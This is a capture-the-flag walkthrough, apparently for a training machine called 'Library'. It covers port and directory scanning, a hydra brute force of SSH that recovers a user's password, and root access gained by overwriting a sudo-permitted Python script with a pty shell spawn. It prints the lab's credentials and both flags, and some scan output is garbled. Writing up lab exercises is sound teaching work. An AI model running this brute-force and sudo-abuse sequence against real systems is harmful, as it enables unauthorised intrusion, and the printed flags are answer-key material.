Library

Task 1 Capture the flag

Task 1-1: user.txt

Nmap

Start the nmap scan.

```
nmap -T4 -sC -sV <Machine IP>
```

```
:~$ nmap -T4 -sC -sV 10.10.180.124
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-14 18:09 EDT
Nmap scan report for 10.10.180.124
Host is up (0.10s latency).
Not shown: 998 closed ports
      STATE SERVICE VERSION
                     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
22/tcp open ssh
  ssh-hostkey:
    2048 c4:2f:c3:47:67:06:32:04:ef:92:91:8e:05:87:d5:dc (RSA)
    256 68:92:13:ec:94:79:dc:bb:77:02:da:99:bf:b6:9d:b0 (ECDSA)
   256 43:e8:24:fc:d8:b8:d3:aa:c2:48:08:97:51:dc:5b:7d (ED25519)
80/tcp open http
                   Apache httpd 2.4.18 ((Ubuntu))
 http-robots.txt: 1 disallowed entry
 _http-server-header: Apache/2.4.18 (Ubuntu)
 _http-title: Welcome to Blog - Library Machine
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.94 seconds
```

Port 22 (SSH) and port 80 (http) are open.

Gobuster

```
:--$ gobuster dir -u 10.10.180.124 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
______
[+] Url:
[+] Threa
[+] Wordl
              http://10.10.180.124
  Threads:
              10
              /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  Wordlist:
[+] Status codes:
[+] User Agent:
              200,204,301,302,307,401,403
              gobuster/3.0.1
  User Agent:
______
2021/06/14 18:12:57 Starting gobuster
_____
/images (Status: 301)
Progress: 12366 / 220561 (5.61%)^C
[!] Keyboard interrupt detected, terminating.
-----
2021/06/14 18:15:05 Finished
------
```

Not much is coming back from gobuster using the dribuster directory list.

Try going for another wordlist instead, like "common.txt".

```
:~/Desktop/TryHackMe/mustacchio$ gobuster dir -u 10.10.225.59 -w /usr/share/wordlists/dirb/common.txt
_____
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
 _
[+] Url:
             http://10.10.225.59
          10
/usr/share/wordlists/dirb/common.txt
  Threads:
[+] Wordlist:
[+] Status codes: 200,204,301,302,307,401,403
[+] Status co
[+] User Agent: gobu
10s
              gobuster/3.0.1
______
2021/06/19 19:18:26 Starting gobuster
------
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/images (Status: 301)
/index.html (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)
-----
2021/06/19 19:19:32 Finished
------
```

Let's take a look at "robots.txt"

rockyou? This could be a hint for us to use the "rockyou.txt" wordlist.

Recon

"Post a comment" section stands out, as it could vulnerable to XSS.

Comments root Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut on June 29th 2009 at 23:35 labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut. Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut www-data on June 29th 2009 at 23:40 labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut. Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut **Anonymous** on June 29th 2009 at 23:59 labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut. Post a comment Name E-mail Website Comment Post comment

After a few tries and looking into the source code, XSS doesn't seem an option.

Based on the "rockyou" hint, we could try to brute-force SSH using hydra with the username found on the website.



This is the title of a blog post

Posted on June 29th 2009 by meliodas - 3 comments

The username could be "meliodas".

SSH

Use hydra to brute-force to find the password of user "meliodas".

hydra -t 4 -l meliodas -P /usr/share/wordlists/rockyou.txt ssh://<Machine IP>

```
kali@kali:~/Desktop/TryHackMe/mustacchio$ hydra -l meliodas -P /usr/share/wordlists/rockyou.txt ssh://10.10.225.59
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-19 19:20:57
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.10.225.59:22/
[STATUS] 115.00 tries/min, 115 tries in 00:01h, 14344286 to do in 2078:53h, 16 active
[22][ssh] host: 10.10.225.59 login: meliodas poword: iloveyou1
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-19 19:23:28
```

The password of user "meliodas" is "iloveyou1".

Login using ssh with these credentials.

ssh meliodas@<Machine IP>

```
The authenticity of host '10.10.30.97 (10.10.30.97)' can't be established. ECDSA key fingerprint is SHA256:sKxkgmnt79RkNN7Tn25FLA0EHcu3yil858DSdzrX4Dc. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.30.97' (ECDSA) to the list of known hosts. meliodas@10.10.30.97's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-159-generic x86_64)

* Documentation: https://help.ubuntu.com

* Management: https://landscape.canonical.com

* Support: https://lubuntu.com/advantage
Last login: Sat Aug 24 14:51:01 2019 from 192.168.15.118
meliodas@ubuntu:~$
```

We get the user.txt!

```
meliodas@ubuntu:~$ ls
bak.py user.txt
meliodas@ubuntu:~$ cat user.txt
6d488cbb3f111d135722c33cb635f4ec
```

Task 1-2: root.txt

Looking at the sudo privileges, meliodas can run python on a file called bak.py as root.

sudo -1

```
meliodas@ubuntu:~$ sudo -l
Matching Defaults entries for meliodas on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap/bin
User meliodas may run the following commands on ubuntu:
    (ALL) NOPASSWD: /usr/bin/python* /home/meliodas/bak.py
```

Show the contents of bak.py.

```
meliodas@ubuntu:~$ cat bak.py
#!/usr/bin/env python
import os
import zipfile

def zipdir(path, ziph):
    for root, dirs, files in os.walk(path):
        for file in files:
            ziph.write(os.path.join(root, file))

if __name__ = '__main__':
    zipf = zipfile.ZipFile('/var/backups/website.zip', 'w', zipfile.ZIP_DEFLATED)
    zipdir('/var/www/html', zipf)
    zipf.close()
```

The script seems to zip the path /var/www/html to a file called website.zip located in the /var/backups directory.

Meliodas does not have the permissions to write to this file.

```
meliodas@ubuntu:~$ ls -l

total 8

-rw-r--r-- 1 root root 353 Aug 23 2019 bak.py

-rw-rw-r-- 1 meliodas meliodas 33 Aug 23 2019 user.txt
```

We could try making our own <code>bak.py</code> file and add python code that will spawn a shell. We will still be able to run this file with sudo since it's in /home/meliodas/ path.

Let's start by removing the current bak.py file.

```
rm bak.py
```

```
meliodas@ubuntu:~$ rm bak.py
rm: remove write-protected regular file 'bak.py'? yes
```

The code to spawn a shell in python3.

```
import pty; pty.spawn("/bin/sh")
```

Let's put this code into our newly bak.py.

```
echo 'import pty; pty.spawn("/bin/sh")' > bak.py
```

Use sudo to run this file and it should give us a root shell.

```
sudo /usr/bin/python3 /home/meliodas/bak.py
```

```
meliodas@ubuntu:~$ sudo /usr/bin/python3 /home/meliodas/bak.py
# whoami
root
```

We get a root shell!

Flag is in the /root directory.

```
# cd /root
# ls
root.txt
# cat root.txt
e8c8c6c256c35515d1d344ee0488c617
```